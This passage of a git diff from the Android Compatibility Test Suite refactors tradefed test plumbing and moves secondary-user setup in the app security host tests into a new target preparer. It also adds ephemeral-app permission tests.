+                EasyMock.eq(AbiUtils.createId(mAbi, moduleName)));
+        EasyMock.expectLastCall();
+
+        EasyMock.replay(mMockDevice, mMockBuildInfo);
+        ITestInvocationListener myListener = new ITestInvocationListener() {
+            private IInvocationContext myContext;
+            @Override
+            public void invocationStarted(IInvocationContext context) {
+                myContext = context;
+            }
+            @Override
+            public void testRunEnded(long elapsedTimeMillis, Map<String, String> runMetrics) {
+                receivedComponentsTestRunEnded.addAll(myContext.getModuleInvocationContext()
+                        .getConfigurationDescriptor().getMetaData("component"));
+                receivedModuleNameTestRunEnded.addAll(myContext.getModuleInvocationContext()
+                        .getAttributes().get(IModuleDef.MODULE_NAME));
+                receivedAbiTestRunEnded.addAll(myContext.getModuleInvocationContext()
+                        .getAttributes().get(IModuleDef.MODULE_ABI));
+            }
+            @Override
+            public void testEnded(TestIdentifier test, long endTime,
+                    Map<String, String> testMetrics) {
+                receivedComponentsTestEnded.addAll(myContext.getModuleInvocationContext()
+                        .getConfigurationDescriptor().getMetaData("component"));
+                receivedModuleNameTestEnded.addAll(myContext.getModuleInvocationContext()
+                        .getAttributes().get(IModuleDef.MODULE_NAME));
+                receivedAbiTestEnded.addAll(myContext.getModuleInvocationContext()
+                        .getAttributes().get(IModuleDef.MODULE_ABI));
+            }
+        };
+        myListener.invocationStarted(mContext);
+        mTest.run(myListener);
+        myListener.invocationEnded(500);
+        EasyMock.verify(mMockDevice, mMockBuildInfo);
+        // verify metadata was retrieved during testRunEnded callbacks
+        assertEquals("[testRunEnded] wrong number of metadata collected",
+                1, receivedComponentsTestRunEnded.size());
+        assertEquals("[testRunEnded] wrong component metadata field received",
+                component, receivedComponentsTestRunEnded.get(0));
+        assertEquals("[testRunEnded] wrong number of module name collected",
+                1, receivedModuleNameTestRunEnded.size());
+        assertEquals(moduleName, receivedModuleNameTestRunEnded.get(0));
+        assertEquals("[testEnded] wrong number of module abi collected",
+                1, receivedAbiTestRunEnded.size());
+        assertEquals(mAbi, receivedAbiTestRunEnded.get(0));
+        // verify metadata was retrieved during testEnded callbacks
+        assertEquals("[testEnded] wrong number of metadata collected",
+                1, receivedComponentsTestEnded.size());
+        assertEquals("[testEnded] wrong component metadata field received",
+                component, receivedComponentsTestEnded.get(0));
+        assertEquals("[testEnded] wrong number of module name collected",
+                1, receivedModuleNameTestEnded.size());
+        assertEquals(moduleName, receivedModuleNameTestEnded.get(0));
+        assertEquals("[testEnded] wrong number of module abi collected",
+                1, receivedAbiTestEnded.size());
+        assertEquals(mAbi, receivedAbiTestEnded.get(0));
+    }
+
+    /**
      * Simple tests running in one module that run some tests but not all of them.
      */
     @Test
@@ -297,6 +400,7 @@
         };
         mTest.setDevice(mMockDevice);
         mTest.setBuild(mMockBuildInfo);
+        mTest.setInvocationContext(mContext);
         OptionSetter setter = new OptionSetter(mTest, mReporter);
         setter.setOptionValue("retry", "0");
 
@@ -370,6 +474,7 @@
         };
         mTest.setDevice(mMockDevice);
         mTest.setBuild(mMockBuildInfo);
+        mTest.setInvocationContext(mContext);
         OptionSetter setter = new OptionSetter(mTest, mReporter);
         setter.setOptionValue("retry", "0");
 
@@ -426,6 +531,7 @@
             ITestInvocationListener listener = getShardListener(mMasterReporter);
             ((IBuildReceiver)mShardTest).setBuild(mBuild);
             ((IDeviceTest)mShardTest).setDevice(mDevice);
+            ((IInvocationContextReceiver)mShardTest).setInvocationContext(mContext);
             listener.invocationStarted(mShardContext);
             try {
                 mShardTest.run(listener);
@@ -572,6 +678,7 @@
 
         ((IBuildReceiver)tests.get(0)).setBuild(mMockBuildInfo);
         ((IDeviceTest)tests.get(0)).setDevice(mMockDevice);
+        ((IInvocationContextReceiver)tests.get(0)).setInvocationContext(mContext);
         mReporter.invocationStarted(mContext);
         try {
             tests.get(0).run(mReporter);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleDefTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleDefTest.java
index 4aa67ac..af44c29 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleDefTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleDefTest.java
@@ -16,6 +16,7 @@
 
 package com.android.compatibility.common.tradefed.testtype;
 
+import com.android.tradefed.config.ConfigurationDescriptor;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.targetprep.ITargetPreparer;
@@ -46,7 +47,8 @@
     public void testAccessors() throws Exception {
         IAbi abi = new Abi(ABI, "");
         MockRemoteTest mockTest = new MockRemoteTest();
-        IModuleDef def = new ModuleDef(NAME, abi, mockTest, new ArrayList<ITargetPreparer>());
+        IModuleDef def = new ModuleDef(NAME, abi, mockTest, new ArrayList<ITargetPreparer>(),
+                new ConfigurationDescriptor());
         assertEquals("Incorrect ID", ID, def.getId());
         assertEquals("Incorrect ABI", ABI, def.getAbi().getName());
         assertEquals("Incorrect Name", NAME, def.getName());
@@ -55,7 +57,8 @@
     public void testModuleFinisher() throws Exception {
         IAbi abi = new Abi(ABI, "");
         MockRemoteTest mockTest = new MockRemoteTest();
-        IModuleDef def = new ModuleDef(NAME, abi, mockTest, new ArrayList<ITargetPreparer>());
+        IModuleDef def = new ModuleDef(NAME, abi, mockTest,
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
         ITestInvocationListener mockListener = EasyMock.createMock(ITestInvocationListener.class);
         // listener should receive testRunStarted/testRunEnded events even for no-op run() method
         mockListener.testRunStarted(ID, 0);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java
index 504d5e9..76ea433 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java
@@ -19,6 +19,7 @@
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.testtype.ModuleRepo.ConfigFilter;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.ConfigurationDescriptor;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.targetprep.ITargetPreparer;
@@ -440,22 +441,22 @@
         TestRuntime test1 = new TestRuntime();
         test1.runtimeHint = 100l;
         IModuleDef mod1 = new ModuleDef("test1", new Abi("arm", "32"), test1,
-                new ArrayList<ITargetPreparer>());
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
         testList.add(mod1);
         TestRuntime test2 = new TestRuntime();
         test2.runtimeHint = 100l;
         IModuleDef mod2 = new ModuleDef("test2", new Abi("arm", "32"), test2,
-                new ArrayList<ITargetPreparer>());
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
         testList.add(mod2);
         TestRuntime test3 = new TestRuntime();
         test3.runtimeHint = 100l;
         IModuleDef mod3 = new ModuleDef("test3", new Abi("arm", "32"), test3,
-                new ArrayList<ITargetPreparer>());
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
         testList.add(mod3);
         TestRuntime test4 = new TestRuntime();
         test4.runtimeHint = 100l;
         IModuleDef mod4 = new ModuleDef("test4", new Abi("arm", "32"), test4,
-                new ArrayList<ITargetPreparer>());
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
         testList.add(mod4);
         // if we don't shard everything is in one shard.
         List<IModuleDef> res = mRepo.getShard(testList, 0, 1);
@@ -480,7 +481,7 @@
         TestRuntime test1 = new TestRuntime();
         test1.runtimeHint = 100l;
         IModuleDef mod1 = new ModuleDef("test1", new Abi("arm", "32"), test1,
-                new ArrayList<ITargetPreparer>());
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
         testList.add(mod1);
         List<IModuleDef> res = mRepo.getShard(testList, 1, 2);
         assertNull(res);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SimpleTestStub.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SimpleTestStub.java
new file mode 100644
index 0000000..331f978
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SimpleTestStub.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype;
+
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.IRuntimeHintProvider;
+import com.android.tradefed.testtype.ITestCollector;
+import com.android.tradefed.testtype.ITestFilterReceiver;
+
+import java.util.Collections;
+import java.util.Set;
+
+/**
+ * A test Stub that can be used to fake some runs.
+ */
+public class SimpleTestStub implements IRemoteTest, IAbiReceiver, IRuntimeHintProvider,
+        ITestCollector, ITestFilterReceiver {
+
+    // options below are unused
+    @Option(name = "report-test")
+    protected boolean mReportTest = false;
+    @Option(name = "run-complete")
+    protected boolean mIsComplete = true;
+    @Option(name = "test-fail")
+    protected boolean mDoesOneTestFail = true;
+    @Option(name = "internal-retry")
+    protected boolean mRetry = false;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
+        // We report 1 passing tes
+        listener.testRunStarted("module-run", 1);
+        TestIdentifier tid = new TestIdentifier("TestStub", "test1");
+        listener.testStarted(tid);
+        listener.testEnded(tid, Collections.emptyMap());
+        listener.testRunEnded(0, Collections.emptyMap());
+    }
+
+    @Override
+    public void setAbi(IAbi abi) {
+        // Do nothing
+    }
+
+    @Override
+    public long getRuntimeHint() {
+        return 1L;
+    }
+
+    @Override
+    public void setCollectTestsOnly(boolean shouldCollectTest) {
+        // Do nothing
+    }
+
+    @Override
+    public void addIncludeFilter(String filter) {
+
+    }
+
+    @Override
+    public void addAllIncludeFilters(Set<String> filters) {
+
+    }
+
+    @Override
+    public void addExcludeFilter(String filter) {
+
+    }
+
+    @Override
+    public void addAllExcludeFilters(Set<String> filters) {
+
+    }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtilTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtilTest.java
index 799cff3..8e20133 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtilTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtilTest.java
@@ -20,6 +20,7 @@
 import com.android.compatibility.common.tradefed.testtype.IModuleDef;
 import com.android.compatibility.common.tradefed.testtype.ModuleDef;
 import com.android.compatibility.common.tradefed.testtype.TestStub;
+import com.android.tradefed.config.ConfigurationDescriptor;
 import com.android.tradefed.targetprep.ITargetPreparer;
 import com.android.tradefed.testtype.Abi;
 
@@ -43,9 +44,9 @@
     public void testCount_2uniquesModules() {
         List<IModuleDef> list = new ArrayList<>();
         list.add(new ModuleDef("moduleA", new Abi("arm64", "64"), new TestStub(),
-                new ArrayList<ITargetPreparer>()));
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
         list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
-                new ArrayList<ITargetPreparer>()));
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
         assertEquals(2, UniqueModuleCountUtil.countUniqueModules(list));
     }
 
@@ -53,9 +54,9 @@
     public void testCount_2subModules() {
         List<IModuleDef> list = new ArrayList<>();
         list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
-                new ArrayList<ITargetPreparer>()));
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
         list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
-                new ArrayList<ITargetPreparer>()));
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
         assertEquals(1, UniqueModuleCountUtil.countUniqueModules(list));
     }
 
@@ -63,21 +64,21 @@
     public void testCount_mix() {
         List<IModuleDef> list = new ArrayList<>();
         list.add(new ModuleDef("moduleA", new Abi("arm64", "64"), new TestStub(),
-                new ArrayList<ITargetPreparer>()));
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
         list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
-                new ArrayList<ITargetPreparer>()));
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
         list.add(new ModuleDef("moduleC", new Abi("arm32", "32"), new TestStub(),
-                new ArrayList<ITargetPreparer>()));
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
         list.add(new ModuleDef("moduleB", new Abi("arm64", "64"), new TestStub(),
-                new ArrayList<ITargetPreparer>()));
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
         list.add(new ModuleDef("moduleB", new Abi("arm32", "32"), new TestStub(),
-                new ArrayList<ITargetPreparer>()));
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
         list.add(new ModuleDef("moduleC", new Abi("arm64", "64"), new TestStub(),
-                new ArrayList<ITargetPreparer>()));
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
         list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
-                new ArrayList<ITargetPreparer>()));
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
         list.add(new ModuleDef("moduleC", new Abi("arm32", "32"), new TestStub(),
-                new ArrayList<ITargetPreparer>()));
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
         assertEquals(6, UniqueModuleCountUtil.countUniqueModules(list));
     }
 }
diff --git a/hostsidetests/appsecurity/AndroidTest.xml b/hostsidetests/appsecurity/AndroidTest.xml
index d1989e6..418d363 100644
--- a/hostsidetests/appsecurity/AndroidTest.xml
+++ b/hostsidetests/appsecurity/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS App Security host tests">
+    <target_preparer class="android.appsecurity.cts.AppSecurityPreparer" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsAppSecurityHostTestCases.jar" />
         <option name="runtime-hint" value="20m" />
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index 16e2765..a1bcc30 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -55,6 +55,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mCtsBuild);
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
new file mode 100644
index 0000000..b1ac744
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.targetprep.BuildError;
+import com.android.tradefed.targetprep.ITargetCleaner;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.targetprep.TargetSetupError;
+
+/**
+ * Creates secondary and tertiary users for use during a test suite.
+ */
+public class AppSecurityPreparer implements ITargetPreparer, ITargetCleaner {
+    @Override
+    public void setUp(ITestDevice device, IBuildInfo buildInfo)
+            throws TargetSetupError, BuildError, DeviceNotAvailableException {
+        // Clean up any lingering users from other tests to ensure that we have
+        // best shot at creating the users we need below.
+        removeSecondaryUsers(device);
+
+        final int maxUsers = device.getMaxNumberOfUsersSupported();
+        if (maxUsers > 1) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
+        }
+        if (maxUsers > 2) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
+        }
+    }
+
+    @Override
+    public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable throwable)
+            throws DeviceNotAvailableException {
+        removeSecondaryUsers(device);
+    }
+
+    private void removeSecondaryUsers(ITestDevice device) throws DeviceNotAvailableException {
+        final int[] userIds = Utils.getAllUsers(device);
+        for (int i = 1; i < userIds.length; i++) {
+            device.removeUser(userIds[i]);
+            CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 36b0921..390064d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -110,7 +110,8 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        // ensure build has been set before test is run
+
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mCtsBuild);
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
index 69ff55e..920e0a5 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
@@ -17,29 +17,17 @@
 package android.appsecurity.cts;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.ddmlib.testrunner.TestResult;
-import com.android.ddmlib.testrunner.TestRunResult;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 
 import java.util.ArrayList;
-import java.util.Map;
 
 /**
  * Base class.
  */
 public class BaseAppSecurityTest extends DeviceTestCase implements IBuildReceiver {
-    protected static final int USER_SYSTEM = 0; // From the UserHandle class.
-
-    private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
-
     protected IBuildInfo mBuildInfo;
 
     /** Whether multi-user is supported. */
@@ -62,49 +50,12 @@
         mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
         mIsSplitSystemUser = checkIfSplitSystemUser();
         mPrimaryUserId = getDevice().getPrimaryUserId();
-        mFixedUsers = new ArrayList();
+        mFixedUsers = new ArrayList<>();
         mFixedUsers.add(mPrimaryUserId);
-        if (mPrimaryUserId != USER_SYSTEM) {
-            mFixedUsers.add(USER_SYSTEM);
+        if (mPrimaryUserId != Utils.USER_SYSTEM) {
+            mFixedUsers.add(Utils.USER_SYSTEM);
         }
         getDevice().switchUser(mPrimaryUserId);
-        removeTestUsers();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        removeTestUsers();
-        super.tearDown();
-    }
-
-    /**
-     * @return the userid of the created user
-     */
-    protected int createUser() throws DeviceNotAvailableException, IllegalStateException {
-        final String command = "pm create-user "
-                + "TestUser_" + System.currentTimeMillis();
-        CLog.d("Starting command: " + command);
-        final String output = getDevice().executeShellCommand(command);
-        CLog.d("Output for command " + command + ": " + output);
-
-        if (output.startsWith("Success")) {
-            try {
-                return Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
-            } catch (NumberFormatException e) {
-                CLog.e("Failed to parse result: %s", output);
-            }
-        } else {
-            CLog.e("Failed to create user: %s", output);
-        }
-        throw new IllegalStateException();
-    }
-
-    private void removeTestUsers() throws Exception {
-        for (int userId : getDevice().listUsers()) {
-            if (!mFixedUsers.contains(userId)) {
-                getDevice().removeUser(userId);
-            }
-        }
     }
 
     private boolean checkIfSplitSystemUser() throws DeviceNotAvailableException {
@@ -131,37 +82,4 @@
         String output = getDevice().executeShellCommand(command);
         return output.contains(packageName);
     }
-
-    private void printTestResult(TestRunResult runResult) {
-        for (Map.Entry<TestIdentifier, TestResult> testEntry :
-                runResult.getTestResults().entrySet()) {
-            TestResult testResult = testEntry.getValue();
-            CLog.d("Test " + testEntry.getKey() + ": " + testResult.getStatus());
-            if (testResult.getStatus() != TestStatus.PASSED) {
-                CLog.d(testResult.getStackTrace());
-            }
-        }
-    }
-
-    protected boolean runDeviceTestsAsUser(String packageName,
-            String testClassName, String testMethodName, int userId) throws Exception {
-        if (testClassName != null && testClassName.startsWith(".")) {
-            testClassName = packageName + testClassName;
-        }
-
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
-                packageName, RUNNER, getDevice().getIDevice());
-        if (testClassName != null && testMethodName != null) {
-            testRunner.setMethodName(testClassName, testMethodName);
-        } else if (testClassName != null) {
-            testRunner.setClassName(testClassName);
-        }
-
-        CollectingTestListener listener = new CollectingTestListener();
-        assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
-
-        TestRunResult runResult = listener.getCurrentRunResults();
-        printTestResult(runResult);
-        return !runResult.hasFailedTests() && runResult.getNumTestsInState(TestStatus.PASSED) > 0;
-    }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 6a6c27d..2174fa0 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -54,6 +54,7 @@
 
     private String mFeatureList = null;
 
+    private int[] mUsers;
     private IAbi mAbi;
     private IBuildInfo mCtsBuild;
 
@@ -71,6 +72,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        mUsers = Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mCtsBuild);
 
@@ -148,11 +150,8 @@
     }
 
     public void doDirectBootTest(String mode) throws Exception {
-        int[] users = {};
         boolean doTest = true;
         try {
-            users = createUsersForTest();
-
             // Set up test app and secure lock screens
             new InstallMultiple().addApk(APK).run();
             new InstallMultiple().addApk(OTHER_APK).run();
@@ -164,7 +163,7 @@
             // Give enough time for PackageManager to persist stopped state
             Thread.sleep(15000);
 
-            runDeviceTests(PKG, CLASS, "testSetUp", users);
+            runDeviceTests(PKG, CLASS, "testSetUp", mUsers);
 
             // Give enough time for vold to update keys
             Thread.sleep(15000);
@@ -184,19 +183,18 @@
 
             if (doTest) {
                 if (MODE_NONE.equals(mode)) {
-                    runDeviceTests(PKG, CLASS, "testVerifyUnlockedAndDismiss", users);
+                    runDeviceTests(PKG, CLASS, "testVerifyUnlockedAndDismiss", mUsers);
                 } else {
-                    runDeviceTests(PKG, CLASS, "testVerifyLockedAndDismiss", users);
+                    runDeviceTests(PKG, CLASS, "testVerifyLockedAndDismiss", mUsers);
                 }
             }
 
         } finally {
             try {
                 // Remove secure lock screens and tear down test app
-                runDeviceTests(PKG, CLASS, "testTearDown", users);
+                runDeviceTests(PKG, CLASS, "testTearDown", mUsers);
             } finally {
                 getDevice().uninstallPackage(PKG);
-                removeUsersForTest(users);
 
                 // Get ourselves back into a known-good state
                 if (MODE_EMULATED.equals(mode)) {
@@ -211,16 +209,6 @@
         }
     }
 
-    private int[] createUsersForTest() throws DeviceNotAvailableException {
-        // TODO: enable test for multiple users
-        return new int[] { 0 };
-//        return Utils.createUsersForTest(getDevice());
-    }
-
-    private void removeUsersForTest(int[] users) throws DeviceNotAvailableException {
-        Utils.removeUsersForTest(getDevice(), users);
-    }
-
     private void runDeviceTests(String packageName, String testClassName, String testMethodName,
             int... users) throws DeviceNotAvailableException {
         for (int user : users) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java
index ceb7539..7bdd128 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java
@@ -48,6 +48,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mCtsBuild);
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 915f147..235179b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -70,6 +70,7 @@
     public void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mBuildInfo);
 
@@ -156,6 +157,14 @@
         runDeviceTests(EPHEMERAL_1_PKG, WEBVIEW_TEST_CLASS, "testWebViewLoads");
     }
 
+    public void testInstallPermissionNotGranted() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionNotGranted");
+    }
+
+    public void testInstallPermissionGranted() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGranted");
+    }
+
     private void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index e8dca57..87d8bd6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -52,6 +52,7 @@
     private static final String MULTIUSER_PKG = "com.android.cts.multiuserstorageapp";
     private static final String MULTIUSER_CLASS = ".MultiUserStorageTest";
 
+    private int[] mUsers;
     private IAbi mAbi;
     private IBuildInfo mCtsBuild;
 
@@ -74,6 +75,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        mUsers = Utils.prepareMultipleUsers(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mCtsBuild);
     }
@@ -87,7 +89,6 @@
      * Verify that app with no external storage permissions works correctly.
      */
     public void testExternalStorageNone() throws Exception {
-        final int[] users = createUsersForTest();
         try {
             wipePrimaryExternalStorage();
 
@@ -95,13 +96,12 @@
             String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
             assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(NONE_PKG, COMMON_CLASS, user);
                 runDeviceTests(NONE_PKG, NONE_CLASS, user);
             }
         } finally {
             getDevice().uninstallPackage(NONE_PKG);
-            removeUsersForTest(users);
         }
     }
 
@@ -111,7 +111,6 @@
      * correctly.
      */
     public void testExternalStorageRead() throws Exception {
-        final int[] users = createUsersForTest();
         try {
             wipePrimaryExternalStorage();
 
@@ -119,13 +118,12 @@
             String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
             assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
 
-            for (int user : users) {
+            for (int user : mUsers) {
                 runDeviceTests(READ_PKG, COMMON_CLASS, user);
                 runDeviceTests(READ_PKG, READ_CLASS, user);
             }
         } finally {
             getDevice().uninstallPackage(READ_PKG);
-            removeUsersForTest(users);
         }
     }
 
@@ -135,7 +133,6 @@
      * correctly.
      */
     public void testExternalStorageWrite() throws Exception {
-        final int[] users = createUsersForTest();
         try {
             wipePrimaryExternalStorage();
 
@@ -143,13 +140,12 @@
             String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
